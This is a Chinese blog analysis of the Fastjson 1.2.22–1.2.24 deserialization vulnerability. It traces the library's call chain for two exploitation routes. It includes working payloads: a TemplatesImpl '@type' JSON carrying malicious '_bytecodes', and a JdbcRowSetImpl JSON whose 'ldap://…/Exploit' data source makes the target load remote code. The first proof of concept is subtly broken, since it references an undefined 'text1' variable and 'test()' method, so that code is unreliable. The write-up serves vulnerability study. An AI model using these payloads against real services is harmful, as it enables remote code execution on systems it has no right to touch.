Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析

admin 2024年8月18日00:39:17Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析已关闭评论12 views字数 14513阅读48分22秒阅读模式

前言

本文为Fastjson1.2.22-1.2.24反序列化漏洞分析。

主要利用链分为基于TemplateImpl的利用链和基于JdbcRowSetImpl的利用链

TemplateImpl利用链

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());

    }

    public static void  test_auto() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = "/Users/lih3iu/Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"]," +
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);


    }

    public static void main(String args[]){

        try {
            test();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

调用链分析

断点下在JSON.parseObject并跟进

JSON#praseObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    public static <T> T parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features) {
        if (input == null) {
            return null;
        } else {
            if (features != null) {
                Feature[] var6 = features;
                int var7 = features.length;

                for(int var8 = 0; var8 < var7; ++var8) {
                    Feature feature = var6[var8];
                    featureValues |= feature.mask;
                }
            }

            DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);
....

            T value = parser.parseObject(clazz, (Object)null);
            parser.handleResovleTask(value);
            parser.close();
            return value;
        }
    }

先通过传进去的feature也就是我们设置的Feature.SupportNonPublicFields生成FeatureValues并作为参数传入DefaultJSONParser类中初始化生成一个parser,然后调用parser中的parserObject来解析clazz。

DefaultJSONParser#parseObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public <T> T parseObject(Type type, Object fieldName) {
    int token = this.lexer.token(); 
    if (token == 8) {
        this.lexer.nextToken();
        return null;
    } else {
        if (token == 4) { 
            if (type == byte[].class) {
                byte[] bytes = this.lexer.bytesValue();
                this.lexer.nextToken();
                return bytes;
            }

            if (type == char[].class) {
                String strVal = this.lexer.stringVal();
                this.lexer.nextToken();
                return strVal.toCharArray();
            }
        }

        ObjectDeserializer derializer = this.config.getDeserializer(type);

        try {
            return derializer.deserialze(this, type, fieldName);
        } catch (JSONException var6) {
            throw var6;
        } catch (Throwable var7) {
            throw new JSONException(var7.getMessage(), var7);
        }
    }
}

通过getDeserializer函数或者对应类型的反序列化器,并进行反序列化

JavaObjectDeserializer#deserialze

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
        if (type instanceof GenericArrayType) {
            Type componentType = ((GenericArrayType)type).getGenericComponentType();
            if (componentType instanceof TypeVariable) {
                TypeVariable<?> componentVar = (TypeVariable)componentType;
                componentType = componentVar.getBounds()[0];
            }

            List<Object> list = new ArrayList();
            parser.parseArray(componentType, list);
            if (componentType instanceof Class) {
                Class<?> componentClass = (Class)componentType;
                Object[] array = (Object[])((Object[])Array.newInstance(componentClass, list.size()));
                list.toArray(array);
                return array;
            } else {
                return list.toArray();
            }
        } else {
➡️            return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName);
        }
    }

由于type为Object.class类型,所以进入parse函数

DefaultJSONParser#parse

1
2
3
4
5
6
7
public Object parse(Object fieldName) {
    JSONLexer lexer = this.lexer;
    switch(lexer.token()) {
    ...
    case 12:
  JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
  return this.parseObject((Map)object, fieldName);

在Feature.OrderField选项关闭的情况下进入一个新的parseObject函数(返回类型为Object)

DefaultJSONParser#parseObject(return Object)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public final Object parseObject(Map object, Object fieldName) {
    JSONLexer lexer = this.lexer;            
try {
            boolean setContextFlag = false;

            while(true) {
                lexer.skipWhitespace();
                char ch = lexer.getCurrent();
                if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
                    while(ch == ',') {
                        lexer.next();
                        lexer.skipWhitespace();
                        ch = lexer.getCurrent();
                    }
                }

                boolean isObjectKey = false;
                Object key;
                ParseContext contextR;
                if (ch == '"') {
                    key = lexer.scanSymbol(this.symbolTable, '"');
                    lexer.skipWhitespace();
                    ch = lexer.getCurrent();
                    if (ch != ':') {
                        throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
                    }
                }

进行json内容解析扫描,通过skipWhitespace函数进行空格去除,然后拿到当前字符,如果是双引号的,再次通过scanSymbol函数进行解析扫描

Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析wX01Wn.png

在扫描到双引号的情况下停止并返回

Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析wX01Wn.png

所以我们此时得到了value为@type的key变量,再接着向下跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
    if (clazz != null) {
        lexer.nextToken(16);
        if (lexer.token() != 13) {
            this.setResolveStatus(2);
            if (this.context != null && !(fieldName instanceof Integer)) {
                this.popContext();
            }

            if (object.size() > 0) {
                instance = TypeUtils.cast(object, clazz, this.config);
                this.parseObject(instance);
                thisObj = instance;
                return thisObj;
            }

            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
            thisObj = deserializer.deserialze(this, clazz, fieldName);
            return thisObj;
        }

条件满足key并且DisableSpecialKeyDetect选项关闭,接着进行扫描,扫描下一个双引号中的内容,也就是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并且通过loadclass加载此类,跟进loadclass

TypeUtils#loadclass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static Class<?> loadClass(String className, ClassLoader classLoader) {
    if (className != null && className.length() != 0) {
        Class<?> clazz = (Class)mappings.get(className);
        if (clazz != null) {
            return clazz;
        } else if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        } else if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        } else {
            try {
                if (classLoader != null) {
                    clazz = classLoader.loadClass(className);
                    mappings.put(className, clazz);
                    return clazz;
                }
            } catch (Throwable var6) {
                var6.printStackTrace();
            }

            try {
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                if (contextClassLoader != null) {
                    clazz = contextClassLoader.loadClass(className);
                    mappings.put(className, clazz);
                    return clazz;
                }
            } catch (Throwable var5) {
            }

通过loadclass加载到目标类并返回,然后将className与clazz放入缓存mappings,这里做缓存可以更方便下次调用,避免重复的loadclass耗费资源

接着回到parseObject函数中,再次进入deserilaze函数做反序列化处理

1
2
3
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
 return thisObj;

JavaBeanDeserializer#deserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) {
.....

                                    label1013: {
                                        if (!matchField) {
                                            key = lexer.scanSymbol(parser.symbolTable);
                                            if (key == null) {
                                                token = lexer.token();
                                                if (token == 13) {
                                                    lexer.nextToken(16);
                                                    break label1013;
                                                }

                                                if (token == 16 && lexer.isEnabled(Feature.AllowArbitraryCommas)) {
                                                    break label1068;
                                                }
                                            }

通过scanSymbol再次扫描双引号,获得_bytecode恶意代码字段,并且通过parseField函数对此字段进行解析

JavaBeanDeserializer#parseField

1
2
3
4
5
6
7
8
9
10
11
12
13
    public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
        JSONLexer lexer = parser.lexer;
        FieldDeserializer fieldDeserializer = this.smartMatch(key);
        int mask = Feature.SupportNonPublicField.mask;
        if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) {
....
            }
        } else {
            lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken());
 ➡️           ((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
            return true;
        }
    }

再次跟进parseField函数

DefaultFieldDeseriailizer#parseField

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
        if (this.fieldValueDeserilizer == null) {
            this.getFieldValueDeserilizer(parser.getConfig());
        }


...
        Object value;
        if (this.fieldValueDeserilizer instanceof JavaBeanDeserializer) {
            JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer)this.fieldValueDeserilizer;
            value = javaBeanDeser.deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.parserFeatures);
        } else if (this.fieldInfo.format != null && this.fieldValueDeserilizer instanceof ContextObjectDeserializer) {
            value = ((ContextObjectDeserializer)this.fieldValueDeserilizer).deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.format, this.fieldInfo.parserFeatures);
        } else {
            value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name);
        }

 ...

        if (parser.getResolveStatus() == 1) {
            ResolveTask task = parser.getLastResolveTask();
            task.fieldDeserializer = this;
            task.ownerContext = parser.getContext();
            parser.setResolveStatus(0);
        } else if (object == null) {
            fieldValues.put(this.fieldInfo.name, value);
        } else {
            this.setValue(object, value);
        }

最后进入关键方法FieldDeserializer#setvalue,主要代码如下

1
field.set(object, value);

Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析wXcXDI.png

成功将_bytecodes变量设置为恶意类,接下来_outputProperties的检测同样如此

通过

1
Method method = this.fieldInfo.method;

检测出反序列化调用的getter进行反射调用getoutputProperties方法

跟进此方法

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

跟进newTransformer

1
2
3
4
5
6
7
8
9
10
    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
{
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

...
    }

跟进getTransletInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();



        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setOverrideDefaultParser(_overrideDefaultParser);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }

跟进defineTransletClasses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

在这段代码中首先要注意下_tfactory.getExternalExtensionsMap,这里也就是为什么我们要将字段中的_tfactory设置为{}的原因,防止后续产生报错

Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析wXg7d0.png

将恶意类定义,并进行了父类的判断,然后再在getTransletInstance中通过newInstance函数将恶意类实例化,触发命令执行

1
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

完整调用链如下

Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析wXgvQJ.png

JdbcRowSetImpl利用链

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
                String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1387/Exploit\"," +
                " \"autoCommit\":true}";


        JSON.parse(payload);
    }

}

调用链分析

前面一直到loadclass一直都是一样的,这里就不再赘述

Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析wxyFmR.png

反序列化解析类的过程依然是先遍历一遍属性,然后接着解析json,拿到键值

Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析wxcMdI.png

再跟进parseObject

JavaBeanDeserializer#parseObject

Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析wxgpp8.png

接着跟进其中的parseField方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
    if (this.fieldValueDeserilizer == null) {
        this.getFieldValueDeserilizer(parser.getConfig());
    }

    Type fieldType = this.fieldInfo.fieldType;
    if (objectType instanceof ParameterizedType) {
        ParseContext objContext = parser.getContext();
        if (objContext != null) {
            objContext.type = objectType;
        }

        fieldType = FieldInfo.getFieldType(this.clazz, objectType, fieldType);
        this.fieldValueDeserilizer = parser.getConfig().getDeserializer(fieldType);
    }

    Object value;
    if (this.fieldValueDeserilizer instanceof JavaBeanDeserializer) {
        JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer)this.fieldValueDeserilizer;
        value = javaBeanDeser.deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.parserFeatures);
    } else if (this.fieldInfo.format != null && this.fieldValueDeserilizer instanceof ContextObjectDeserializer) {
        value = ((ContextObjectDeserializer)this.fieldValueDeserilizer).deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.format, this.fieldInfo.parserFeatures);
    } else {
        value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name);
    }

    if (parser.getResolveStatus() == 1) {
        ResolveTask task = parser.getLastResolveTask();
        task.fieldDeserializer = this;
        task.ownerContext = parser.getContext();
        parser.setResolveStatus(0);
    } else if (object == null) {
        fieldValues.put(this.fieldInfo.name, value);
    } else {
        this.setValue(object, value);
    }

}

熟悉的setValue反射调用method

Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析wxgacD.png

跟进所反射的方法

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }

}

跟进connect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
➡️                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

在上面我们通过setDataSourceName函数进行了变量设置

1
2
3
4
5
6
7
8
9
10
11
12
13
public void setDataSourceName(String var1) throws SQLException {
    if (this.getDataSourceName() != null) {
        if (!this.getDataSourceName().equals(var1)) {
            super.setDataSourceName(var1);
            this.conn = null;
            this.ps = null;
            this.rs = null;
        }
    } else {
        super.setDataSourceName(var1);
    }

}

所有这里变量可控,即可造成rmi/ldap注入,完成调用

总结

相比来看,TemplateImpl这条利用链是有一定的限制的,还要设置Feature.SupportNonPublicField这个条件才能触发

对于JdbcRowSetImpl这条链来讲,更多的限制体现在jdk版本的限制,在高版本下是有对rmi以及Idap注入的限制的

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191,不过如果环境本身classpath存在可利用的Gadgets,也是可以利用的。

版本的限制影响如下

Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析wzt5Of.jpg

参考链接

http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

https://xz.aliyun.com/t/6633

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月18日00:39:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson分析系列1.2.22-1.2.24反序列化漏洞分析https://cn-sec.com/archives/3075252.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.